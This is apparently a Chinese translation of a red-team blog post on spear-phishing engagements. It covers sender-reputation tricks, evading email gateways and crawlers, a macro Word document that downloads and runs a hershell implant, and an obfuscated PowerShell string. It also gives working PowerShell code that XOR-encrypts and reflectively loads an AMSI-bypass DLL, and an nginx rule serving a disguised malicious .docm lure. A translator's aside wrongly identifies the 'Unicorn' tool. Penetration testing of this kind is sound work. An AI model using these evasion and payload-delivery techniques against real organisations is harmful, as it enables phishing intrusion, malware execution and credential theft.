导语:关于红队在渗透测试中使用的网络钓鱼攻击的文章很多,不过大多数的介绍都是不完整的。在本文中,我们将对这个话题进行一次完整的梳理,包括域创建,制作网络钓鱼内容,绕过垃圾邮件过滤器和电子邮件网关,生成不可检测的有效载荷以及绕过Windows保护(例如AMSI)的注意事项。另外,我们还在这篇文章的末尾整理了一份参考文献,如果你感兴趣可以参考。
关于红队在渗透测试中使用的网络钓鱼攻击的文章很多,不过大多数的介绍都是不完整的。在本文中,我们将对这个话题进行一次完整的梳理,包括域创建,制作网络钓鱼内容,绕过垃圾邮件过滤器和电子邮件网关,生成不可检测的有效载荷以及绕过Windows保护(例如AMSI)的注意事项。另外,我们还在这篇文章的末尾整理了一份参考文献,如果你感兴趣可以参考。
出于安全原因,渗透测试中的客户名称和相关信息已被匿名化。根据红色团队参与的复杂程度和持续时间,你需要衡量你在以下每个项目上花费了多少时间和精力。
1.邮件来源:
1.1 使用脚本从本地主机(例如你的笔记本电脑)发送邮件;
1.2 标头中的IP是否可信;
2. 最近启用的VPS,没有发件人历史记录;
3. 发送域信誉(domain reputation)和域年龄(domain age)(从域创建到活动日期之间的时间)。
4. 链接信誉和域年龄;
5. 使用信誉较高的发件人,例如Mailchimp或Sendgrid。通过这些提供商验证你的域,以便你可以向域“发件人:”发送电子邮件。
6. 匹配目标电子邮件的返回路径;
7. 配置SPF,DKIM和DMARC;
8. 时间和频率:
8.1 如果你一次从信誉低下的IP发送100封电子邮件,几乎可以肯定会被标记为垃圾邮件。
8.2 发送域和电子邮件中的链接上的有效SSL证书;
9. 失效链接;
10. HTML内容的数量;
11. 不要进入黑名单;
具体的测试时间,取决于渗透测试的程度:
1. 如果你要克隆高信誉的域来进行凭据网络钓鱼,要注意防范自动扫描引擎,这一点尤其重要。
1.1 Web Scraper和安全电子邮件网关(SEG)正在积极寻找能复制Office 365和Gmail等网络钓鱼网页的网站。Web Scraper是一款可以从网页中提取数据的chrome网页数据提取插件,是一款非常好用的爬虫工具。
1.2 将良性内容提供给自动化平台;
2. 你可以使用公共GreyNoise API中的WEB_CRAWLER标记找到网页爬虫列表;
3. curl -s -XPOST -d 'tag=WEB_CRAWLER' http://api.greynoise.io:8888/v1/query/tag;
4. 你还可以使用技术来识别模拟环境,如headless Chrome、Selenium等。
5. 在信誉较高的域或你自己的自定义域上托管恶意附件,SEG可以更好地捕获恶意载荷,例如带有宏的Word文档。如果你的附件被捕获,你可能会被列入黑名单。
6. 一旦你搞砸了一次,它就很难恢复和触及用户的收件箱。你可能需要停止整个渗透活动,然后重新开始。
7. 查看有关监视你的域和基础结构的“Specter Ops”文章,以了解是否有受到攻击的迹象。
8. 301/302重定向到信誉较高的域,你的域实际上未与重定向域关联,因此可以将其归为恶意域。
网络钓鱼活动的渗透测试
我们通常会以三种方式处理钓鱼活动:
1.针对特定个人的攻击活动;
2. 从侦察阶段收集到的针对所有用户的大规模攻击,有很多很棒的资源可用于侦查和创建可定位的电子邮件地址列表,比如2019年的OSINT资源,The Harvester ,datasploit ,Github上的awesome-osint )
3.通过在目标公司网站上的表格提交信息,通常是通过伪造一个公司来进行;
每个攻击活动使用不同的域,以免影响其他攻击活动的信誉或攻击能力。如果公司意识到他们是攻击目标,那么你未来的尝试可能会受到更严格的审查。在验证我们的域并设置电子邮件身份验证后,我们经常使用Mailchimp邮件系统进行邮件发送。我们还成功使用了G Suite帐户和使用自定义脚本的SMTP身份验证。
由于时间限制(20小时),我们只选择了上面的第2和第3种方式。对于这两个攻击活动,我们都使用了带有宏的word文档。
攻击示例
我们对目标公司的MX进行了查询,发现他们正在使用G Suite,因此我们可以针对模拟的G Suite帐户测试攻击活动,以确保我们能够通过他们的保护。
dig target.com MX
Google在过滤恶意附件方面做得不错,因此在第一项活动中我们将其托管在信誉较高的域中,在第二项活动中我们将其托管在我们自己的域中。
如何生成Word文档宏和有效载荷
在示例攻击中,我们使用了带有宏的恶意Word文档。我们利用unicorn生成了一个powershell宏来下载/执行我们的有效载荷,并做了一个轻微的修改来绕过防御:
"po" & "w" & "er" & "s" & "he" & "l" & "l" & ".e" & "x" & "e" & " "
注:Unicorn 是一款非常优秀的跨平台模拟执行框架,该框架可以跨平台执行Arm, Arm64 (Armv8), M68K, Mips, Sparc, & X86 (include X86_64)等指令集的原生程序。
Unicorn 不仅仅是模拟器,更是一种“硬件级”调试器,使用Unicorn的API可以轻松控制CPU寄存器、内存等资源,调试或调用目标二进制代码,现有的反调试手段对Unicorn 几乎是无效的。
我们使用hershell作为有效载荷,这是一个用Go编写的出色的轻量级阶段 1,当时无法检测到其x86拱门。如果你的有效载荷被标记,你可以选择混淆和加密,如果你知道你的目标环境,也可以使用dsplit手动绕过安全防御签名。你可以参考一些资源:
https://resources.infosecinstitute.com/antivirus-evasion-tools/
https://github.com/PowerShellMafia/PowerSploit/blob/master/AntivirusBypass/Find-AVSignature.ps1
http://obscuresecurity.blogspot.com/2012/12/finding-simple-av-signatures-with.html
Metasploit 5 最近也发布了内置的有效载荷加密和逃避的有效载荷,但是我们还没有机会使用它们。Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。
绕过AMSI
我们预计需要运行自定义的Powershell有效载荷,因此我们不得不绕过最近的Windows保护,称为AMSI。根据Microsoft的说法,AMSI代表了杀毒软件的扫描接口,并允许程序(如Powershell)在执行之前向扫描引擎提交内容。感谢Cyberark进行绕过AMSI的初步研究,并撰写了Andre Marques的文章。我们能够调整它们的实现,这些实现当时已被Microsoft标记出来,以使用XOR加密绕过AMSI。
1. Re-compile the AMSI Bypass DLL 2. Convert the binary to base64 $base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes("$pwd\\bypass.dll")) 3. XOR encrypt foreach($byte in [Text.Encoding]::UTF8.GetBytes($base64string)) { $encrypted += $byte -bxor 1 } 4. Print encrypted buf as a byte array foreach($byte in $encrypted){ Write-Host -nonewline "$byte," } On Target 1. Split encrypted buf due to powershell line limit lengths 2. Concat the buf $xorencrypted = $a + $b + $c + $d + $e + $f + $g 3. Decrypt the buf foreach($byte in $xorencrypted){$decrypted += $byte -bxor 1 } 4. Get buf as base64 $base64string = [Text.Encoding]::UTF8.GetString($decrypted) 5. Load the DLL using reflection function Bypass-AMCEE { if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMCEE").Type) { [Reflection.Assembly]::Load([Convert]::FromBase64String($base64string)) | Out-Null } [Bypass.AMCEE]::Subvert(); } 6. Call the bypass method Bypass-AMCEE
这允许我们在内存中再次执行powershell有效载荷,比如Mimikatz。
你可以在此处获取有效的AMSI绕过源码。
攻击示例1:伪造公司,有针对性地提交表格文件
在目标网站上找到表单提交页面以进行新业务查询后,我们创建了一个假的公司和域名以匹配其业务范围。在多次尝试使用Dropbox和其他文件托管服务来承载我们的有效载荷失败之后,我们使用了mixmax.com,该网站还可以方便地跟踪打开和点击。
发送给销售代表的电子邮件:
带有宏的恶意Word文档,似乎需要启用宏才能正确加载:
启用后,宏将下载并执行我们的Hershell植入。
攻击示例2:无针对性地攻击
由于攻击活动是在新年前后进行的,因此我们就以此为伪装接口。我们模拟了一个受欢迎的员工奖励计划:appendhub.com。如果你访问了我们的网站,我们会通过重定向到octanner.com来模仿真实网站的行为。如果你长期使用该域,这实际上会损害你的域信誉,因此你最好克隆一个网站。
电子贺卡上具体标明了每个员工的姓名:
我们在word文档中嵌入了一个视频文件,这似乎需要宏来播放。我们使用nginx规则将恶意载荷托管在我们自己的域中,以直接下载并进行跟踪:
Nginx指令:
location /receivedECard { alias /var/www/html/HappyNewYear2019.docm; add_header Content-Disposition 'attachment; filename="Happy New Year 2019.docm"'; }
初始访问:
对应的缓解措施
禁用宏
对于这种特定的攻击载体来说,这是迄今为止最简单的方法,但是对于一些依赖于它们的组织来说,这是不可能的。
不要接受不受信任/未经审查的来源的附件
如果必须,可以在虚拟环境中打开附件。
用户的安全意识培训
进行常规的模拟网络钓鱼攻击培训,这可能会降低攻击活动的有效性。
总结
从攻击者的角度来看,网络钓鱼已经变得比几年前更具挑战性,但它仍然是非常可行的,在短时间内仍然就有攻击价值。前期攻击时,大部分的时间都花在了有效载荷的创建上,但是一旦攻击者有了可用的工具集,创建新的攻击就变得非常简单和快速,而应对组织则需要相应地调整应对策略。
本文翻译自:https://blog.sublimesecurity.com/red-team-techniques-gaining-access-on-an-external-engagement-through-spear-phishing/如若转载,请注明原文地址: https://www.4hou.com/web/21348.html